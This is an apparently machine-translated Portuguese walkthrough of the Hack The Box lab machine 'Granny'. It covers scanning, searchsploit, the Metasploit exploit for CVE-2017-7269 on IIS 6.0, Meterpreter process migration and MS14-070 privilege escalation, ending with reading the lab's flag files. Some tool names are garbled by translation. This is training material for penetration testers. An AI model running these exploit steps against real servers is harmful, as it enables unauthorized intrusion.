Screenshot 2020 04 29 at 22.26.52

A avó, embora parecida com o vovô, pode ser explorada usando vários métodos diferentes, como o amplamente explorado CVE-2017-7269. Essa vulnerabilidade é trivial de explorar e concedeu acesso imediato a milhares de servidores IIS em todo o mundo quando se tornou conhecimento público

Usaremos as seguintes ferramentas para penhorar a caixa em um Caixa Kali Linux

  • nmap
  • Exploração de pesquisa
  • davtest
  • Metasploit
  • Sugestor de exploração local

Vamos começar.

Eu adiciono vovó no arquivo / etc / hosts

sudo /etc/hosts

com

10.10.10.15     granny.htb

Screenshot 2020 04 29 at 22.32.27

Etapa 1 – Reconhecimento

O primeiro passo antes de explorar uma máquina é fazer um pouco de escaneamento e reconhecimento.

Essa é uma das partes mais importantes, pois determinará o que você pode tentar explorar posteriormente. É sempre melhor gastar mais tempo nessa fase para obter o máximo de informações possível.

Digitalização de portas

Vou usar o Nmap (Network Mapper). O Nmap é um utilitário gratuito e de código aberto para descoberta de rede e auditoria de segurança. Ele usa pacotes IP brutos para determinar quais hosts estão disponíveis na rede, quais serviços esses hosts estão oferecendo, quais sistemas operacionais estão executando, que tipo de filtros / firewalls de pacotes estão em uso e dezenas de outras características.

Existem muitos comandos que você pode usar com esta ferramenta para verificar a rede. Se você quiser saber mais sobre isso, consulte a documentação aqui.

Screenshot 2020 04 29 at 22.39.37

Eu uso o seguinte comando para executar uma verificação intensiva:

nmap -A -v granny.htb

-UMA: Ativar detecção de SO, detecção de versão, varredura de script e traceroute

-v: Aumentar o nível de verbosidade

granny.htb: nome do host da caixa Granny

Se você achar os resultados um pouco exagerados, poderá executar outro comando para obter apenas as portas abertas.

nmap granny.htb

Screenshot 2020 04 29 at 22.46.09

Podemos ver que há apenas 1 porta aberta:

Porta 80. usado com mais freqüência pelo HTTP (Hypertext Transfer Protocol)

Sabemos que o servidor é um IIS 6.0 do cabeçalho do servidor http. Serviços de Informação da Internet (IISanteriormente Servidor de Informações da Internet) é um software extensível para servidor Web criado pela Microsoft para uso com a família Windows NT. Mais informações aqui

O IIS 6.0 (nome de código “Fita Adesiva”), incluído no Windows Server 2003 e no Windows XP Professional x64 Edition, adicionou suporte ao IPv6 e incluiu um novo modelo de processo do trabalhador que aumentou a segurança e a confiabilidade do HTTP.sys. um ouvinte de protocolo específico de HTTP para solicitações HTTP

Também podemos ver a partir do http-title que o site está “em construção” e que existe uma http-webdav-scan com todos os métodos permitidos

Eu uso o script nmap para tentar obter mais informações. O script envia uma solicitação OPTIONS que lista o tipo de dav, tipo de servidor, data e métodos permitidos. Em seguida, ele envia uma solicitação PROPFIND e tenta buscar diretórios expostos e endereços IP internos, fazendo a correspondência de padrões no corpo da resposta

nmap --script http-webdav-scan -p80 granny.htb

Aqui está mais informação neste script no site nmap

Screenshot 2020 04 29 at 22.53.08

WebDAV ou Criação e Versão Distribuída na Web (WebDAV) é uma extensão do Protocolo de transferência de hipertexto que permite aos clientes executar operações remotas de criação de conteúdo da Web. Mais informações aqui

Podemos ver na seção de suporte do servidor que o IIS da Microsoft possui um módulo WebDAV.

eu uso davtest para verificar se eu posso enviar arquivos

Screenshot 2020 04 28 at 15.54.24

Eu uso o seguinte comando

davtest -url granny.htb

Screenshot 2020 04 29 at 22.57.44

Não parece. eu uso Exploração de pesquisa para verificar se há alguma vulnerabilidade conhecida no IIS 6.0. Searchsploit é uma ferramenta de pesquisa de linha de comando para Explorar banco de dados

Screenshot 2020 04 13 at 22.01.08

Eu uso o seguinte comando

searchsploit iis 6.0

Screenshot 2020 04 13 at 22.02.14

Eu posso ter mais detalhes sobre a exploração com

searchsploit -x 41738.py

Screenshot 2020 04 13 at 22.01.38

O ataque é baseado em um Programação orientada a retorno cadeia. Programação orientada a retorno (ROP) é uma técnica de exploração de segurança que permite que um invasor execute código na presença de defesa de segurança, como proteção de espaço executável e assinatura de código

Você também pode verificar o Explorar banco de dados encontrar a exploração

Screenshot 2020 04 24 at 14.28.52
https://www.exploit-db.com/search?q=iis+6.0

Screenshot 2020 04 07 at 16.19.42
https://www.exploit-db.com/exploits/41738

a Banco de Dados Nacional de Vulnerabilidades

Screenshot 2020 04 28 at 22.56.07
https://nvd.nist.gov/vuln/detail/CVE-2017-7269

a Vulnerabilidades e exposição comuns base de dados

Screenshot 2020 04 28 at 22.57.52

Screenshot 2020 04 07 at 16.20.27
https://www.cvedetails.com/cve/CVE-2017-7269/

Existe um módulo Metasploit disponível

Screenshot 2020 04 07 at 16.20.54
https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl

Etapa 2 – Visitar o site

Não vemos muito quando visitamos o site. No console do desenvolvedor, podemos ver que ele é alimentado pelo ASP.NET estrutura

Screenshot 2020 04 29 at 23.03.40

Nós vamos usar Metasploit, que é uma estrutura de teste de penetração que simplifica os hackers. É uma ferramenta essencial para muitos atacantes e defensores

Screenshot 2019 08 02 at 21.14.13
https://www.metasploit.com/

Eu lanço Estrutura Metasploit no Kali e procure o comando que devo usar para iniciar a exploração

Screenshot 2020 04 24 at 14.33.34

Se eu usar este comando

searchsploit iis 6.0

Recebo a mesma tabela do Terminal mais cedo

Se eu digitar

search iis 6.0

Eu obtenho 174 resultados

Screenshot 2020 04 24 at 14.38.22

A façanha que me interessa é o número 147 nesta lista

Se você deseja obter algumas informações sobre a exploração, pode usar o seguinte comando

info exploit/windows/iis/iis_webdav_scstoragepathfromurl

E você obterá mais detalhes sobre a exploração

Screenshot 2020 04 28 at 23.11.30

Eu uso o seguinte comando para usar a exploração

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

Preciso configurar as opções antes de iniciar a exploração. Eu verifico as opções com

show options

Screenshot 2020 04 24 at 14.43.36

Eu ajustei o RHOSTS com o seguinte comando

set RHOSTS granny.htb

Quando verifico novamente as opções, recebo este

Screenshot 2020 04 29 at 23.19.58

Verifico se o alvo está vulnerável a

check

Então eu executo a exploração com o comando

exploit

Screenshot 2020 04 29 at 23.21.19

E eu recebo um Meterpreter sessão

De Segurança ofensiva site, obtemos esta definição para Meterpreter

O Meterpreter é uma carga útil avançada e dinamicamente extensível que usa em memória Estágios de injeção de DLL e é estendido pela rede em tempo de execução. Ele se comunica pelo soquete stager e fornece uma API Ruby abrangente do lado do cliente. Possui histórico de comandos, conclusão de guias, canais e muito mais.

Você pode ler mais sobre o Meterpreter aqui

Vamos começar reunindo algumas informações

getuid retorna o ID do usuário real do processo de chamada. A sessão que obtive não parece ter privilégios suficientes para executar este comando. O acesso foi negado

Screenshot 2020 04 24 at 15.41.37

Quando isso acontece, listo os processos em execução com

ps

e escolha uma corrida AUTORIDADE NT SERVIÇO DE REDE

Screenshot 2020 04 29 at 23.23.19

Eu migro para o processo 792 com

migrate 792

Screenshot 2020 04 29 at 23.24.38

Agora, quando eu checo getuid, eu tenho

Server username: NT AUTHORITYNETWORK SERVICE

Screenshot 2020 04 28 at 15.58.37

Esta é a sessão que obtive após migrar para outro processo

Screenshot 2020 04 29 at 23.25.56

Digite o seguinte comando para obter um shell padrão no sistema de destino

shell

Screenshot 2020 04 28 at 16.01.13

Verifico quem sou na máquina com o comando

whoami

Screenshot 2020 04 28 at 16.01.23

Eu obtenho mais informações da máquina com

systeminfo

Screenshot 2020 04 29 at 23.27.13

Eu navego para C:

Screenshot 2020 04 28 at 16.03.43

então Documentos e Configurações com

cd "Documents and Settings"

Screenshot 2020 04 29 at 23.30.30

Eu posso ver dois usuários – Administrador e Lakis. Eu tento navegar para Lakis. O acesso foi negado. O mesmo para a pasta Administrador – o que é esperado, pois ainda não tenho acesso root

Screenshot 2020 04 29 at 23.30.48

Saio do shell com o comando

exit

Screenshot 2020 04 28 at 16.06.47

Etapa 3 – Usando o sugeridor de exploração local

Eu corro o sugeridor de exploração local. As explorações são sugeridas com base na arquitetura e plataforma em que o usuário possui um shell aberto, bem como nas explorações disponíveis no meterpreter

run post/multi/recon/local_exploit_suggester

Screenshot 2020 04 28 at 16.07.12

Vou usar o MS14-070 explorar. Eu procuro mais algumas informações sobre Metasploit com

info exploit/windows/local/ms14_070_tcpip_ioctl

Screenshot 2020 04 28 at 23.36.28

Assim como no Rapid7 local na rede Internet

Screenshot 2020 04 28 at 23.33.04
https://www.rapid7.com/db/modules/exploit/windows/local/ms14_070_tcpip_ioctl

Etapa 4 – Usando o MS14-070 para executar a escalação de privilégios

Coloquei esta sessão em segundo plano com o comando

background

Screenshot 2020 04 28 at 16.11.48

Eu executo o seguinte comando para usar a exploração que encontrei

use exploit/windows/local/ms14_070_tcpip_ioctl

Screenshot 2020 04 28 at 16.12.00

Em seguida, verifico as opções dessa exploração

Screenshot 2020 04 28 at 16.12.33

Eu marquei a sessão com

set SESSION 1

Screenshot 2020 04 28 at 16.12.49

Eu corro a exploração com

run

Screenshot 2020 04 28 at 16.13.05

A exploração foi bem-sucedida, mas não recebi um shell de volta. Eu verifico as opções

Screenshot 2020 04 28 at 16.13.16

e defina o LHOST como meu IP com

set LHOST 10.10.14.36

Você pode verificar o seu aqui

Screenshot 2020 04 28 at 16.13.44

Em seguida, corro a exploração com

exploit

Screenshot 2020 04 28 at 16.13.57

Isso confirma que a exploração foi bem-sucedida, mas ainda não recebi um shell. Eu verifico a sessão com

sessions -l

eu deveria ter

NT AUTHORITYSYSTEM

Screenshot 2020 04 29 at 23.33.31

Como não é o caso agora, volto a esta sessão com

sessions -i 1

Screenshot 2020 04 28 at 16.38.45

eu verifico getuid e pegue AUTORIDADE NT SYSTEM de volta. Recebo um shell padrão no sistema de destino e verifico quem sou eu na máquina. eu recebo AUTORIDADE NT SERVIÇO DE REDE de volta, que não é o que eu quero!

Saio deste shell e verifico os processos. Percebo que tenho acesso de administrador na máquina. Acabei de migrar para outro processo – o que faço com

migrate 408

Screenshot 2020 04 28 at 16.39.58

De volta ao shell padrão no sistema de destino e, quando verifico quem sou na máquina, sou finalmente um administrador!

Etapa 5 – Procurando o sinalizador user.txt

Eu navego para o Lakis pasta do Documentos e Configurações

Eu posso listar todos os arquivos / pastas com o seguinte comando

dir

Eu então passo para o Área de Trabalho

Screenshot 2020 04 29 at 23.36.38

E eu acho a bandeira do usuário! Posso verificar o conteúdo do arquivo com

type user.txt

Etapa 6 – Procurando o sinalizador root.txt

Vamos encontrar a bandeira raiz agora! Eu navego até Comercial e faça o check-in no Administrador/Área de Trabalho pasta. Eu encontro a bandeira!

Screenshot 2020 04 29 at 23.39.01

Eu uso o seguinte comando para ver o conteúdo do arquivo

type root.txt

Screenshot 2020 04 28 at 16.43.08

Parabéns! Você encontrou as duas bandeiras!

Não hesite em comentar, fazer perguntas ou compartilhar com seus amigos 🙂

Você pode ver mais dos meus artigos aqui

Você pode me seguir Twitter ou em LinkedIn

E não se esqueça de #GetSecure, #BeSecure & #StaySecure!


Outros artigos da Hack The Box

granny